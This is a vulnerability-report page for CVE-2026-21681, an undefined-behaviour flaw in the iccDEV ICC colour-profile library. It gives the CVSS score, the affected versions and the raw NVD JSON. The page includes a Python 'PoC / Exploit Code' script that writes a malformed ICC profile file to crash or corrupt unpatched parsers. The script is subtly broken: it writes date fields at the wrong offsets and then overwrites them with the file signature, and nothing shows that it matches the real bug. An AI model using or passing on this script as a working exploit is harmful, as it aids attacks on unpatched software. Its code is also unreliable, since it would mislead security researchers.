Security Vulnerability Report
中文
CVE-2026-21681 CVSS 7.1 HIGH

CVE-2026-21681

Published: 2026-01-07 21:16:01
Last Modified: 2026-01-14 18:47:10

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a Undefined Behavior runtime error. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21681 PoC - Malformed ICC Profile Trigger # This PoC demonstrates the Undefined Behavior in iccDEV library # when processing a crafted ICC color profile import struct def create_malformed_icc_profile(): """ Create a malformed ICC profile that triggers undefined behavior in iccDEV versions < 2.3.1.2 """ # ICC profile header (128 bytes) header = bytearray(128) # Profile size (will be set later) struct.pack_into('>I', header, 0, 0) # Preferred CMM type header[4:8] = b'lcms' # Profile version header[8:12] = struct.pack('>I', 0x0a000000) # Profile device class (input device - trigger specific code path) header[12:16] = b'scn ' # Color space (CMYK) header[16:20] = b'CMYK' # PCS (Profile Connection Space) header[20:24] = b'Lab ' # Date: 2024-01-01 00:00:00 header[36:40] = struct.pack('>H', 2024) header[40:42] = struct.pack('>H', 1) header[42:44] = struct.pack('>H', 1) header[44:46] = struct.pack('>H', 0) header[46:48] = struct.pack('>H', 0) header[48:50] = struct.pack('>H', 0) # Profile file signature header[36:40] = b'acsp' # Create tag table with malformed entries tag_count = 5 tag_offset = 128 tag_data_start = 128 + 12 + (tag_count * 12) tag_table = bytearray() tag_table += struct.pack('>I', tag_count) tag_table += struct.pack('>I', 0) # reserved # Malformed tag entries malformed_tags = [ (b'desc', 0x00000001, 0, 4), # Invalid type signature (b'cprt', 0x00000001, 0, 0), # Zero length data (b'wtpt', 0x00000001, 0, 3), # Truncated XYZ data (b'chad', 0x00000001, 0, 8), # Invalid matrix size (b'vued', 0x00000001, 0, 1), # Invalid view condition ] current_offset = tag_data_start for sig, type_sig, offset, size in malformed_tags: tag_table += sig tag_table += struct.pack('>I', type_sig) tag_table += struct.pack('>I', current_offset) tag_table += struct.pack('>I', size) current_offset += size # Create malformed tag data tag_data = bytearray() for sig, type_sig, offset, size in malformed_tags: # Truncated or invalid data tag_data += bytes(size if size > 0 else 1) # Build complete profile profile = header + tag_table + tag_data # Update profile size struct.pack_into('>I', profile, 0, len(profile)) return bytes(profile) def exploit(): """ Simulate exploitation scenario """ print('[+] Generating malformed ICC profile for CVE-2026-21681') profile_data = create_malformed_icc_profile() # Save to file with open('malformed_profile.icc', 'wb') as f: f.write(profile_data) print(f'[+] Created malicious ICC profile: {len(profile_data)} bytes') print('[+] When processed by iccDEV < 2.3.1.2, triggers undefined behavior') print('[+] Possible outcomes: crash, memory corruption, or unpredictable behavior') if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21681", "sourceIdentifier": "[email protected]", "published": "2026-01-07T21:16:01.227", "lastModified": "2026-01-14T18:47:10.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a Undefined Behavior runtime error. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del International Color Consortium (ICC). Las versiones anteriores a la 2.3.1.2 tienen un error de tiempo de ejecución de Comportamiento Indefinido (Undefined Behavior). Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/269", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-v4qq-v3c3-x62x", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}